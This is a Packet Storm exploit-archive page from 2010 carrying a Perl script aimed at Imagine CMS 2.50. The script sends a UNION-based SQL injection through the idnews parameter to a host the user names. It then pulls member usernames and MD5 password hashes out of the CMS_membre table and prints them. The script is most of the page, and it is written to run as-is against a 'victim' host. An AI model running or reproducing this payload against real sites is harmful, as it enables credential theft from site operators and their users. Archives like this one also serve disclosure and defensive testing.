exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Imagine CMS 2.50 SQL Injection

Imagine CMS 2.50 SQL Injection
Posted Jul 21, 2010
Authored by Metropolis

Imagine CMS version 2.50 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 11d880d3fea212de1e726912be77780ae2709e1538fb7c8c1b597fed23a9586f

Imagine CMS 2.50 SQL Injection

Change Mirror Download
#!/usr/bin/perl
###########################################
#
# Script Name : Imagine-cms 2.50
#
# Version : 2.50
#
# Bug Type : SQL Injection
#
# Found by : Metropolis
#
# Home : http://metropolis.fr.cr
#
# Discovered : 21/07/2010
#
# Download app :
# http://www.imagine-cms.net/modules/
# telechargement/index.php?page=afficher_souscat&id_cat=2
#
###########################################
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
print "\n- Author: Metropolis\r\n";
print "- Imagine-cms <= 2.50 Remote SQL Injection Exploit\r\n";
}
sub usage()
{
header();
print "- Usage: $0 <host> <path>\r\n";
print "- <host> -> Victim's host ex: www.victim.com\r\n";
print "- <path> -> ex: /\r\n";
exit();
}
sub exploit ()
{
#Our variables...
$spserver = $ARGV[0];
$spserver =~ s/(http:\/\/)//eg;
$sphost = "http://".$spserver;
$spdir = $ARGV[1];
$spport = "80";
$sptar = "index.php?page=commentaire&idnews=";
$spxp = "-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--";
$spreq = $sphost.$spdir.$sptar.$spxp;
#Sending data...
header();
print "- Trying to connect: $spserver\r\n";
$sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";
print $sp "GET $spreq HTTP/1.1\n";
print $sp "Accept: */*\n";
print $sp "Referer: $sphost\n";
print $sp "Accept-Language: tr\n";
print $sp "User-Agent: NukeZilla\n";
print $sp "Cache-Control: no-cache\n";
print $sp "Host: $spserver\n";
print $sp "Connection: close\n\n";
print "- Connected...\r\n";
while ($answer = <$sp>) {
if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
print "- Exploit succeed!\r\n";
print "- Username: $1\r\n";
print "- MD5 HASH of PASSWORD: $2\r\n";
exit();
}
}
#Exploit failed...
print "- Exploit failed\n"
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close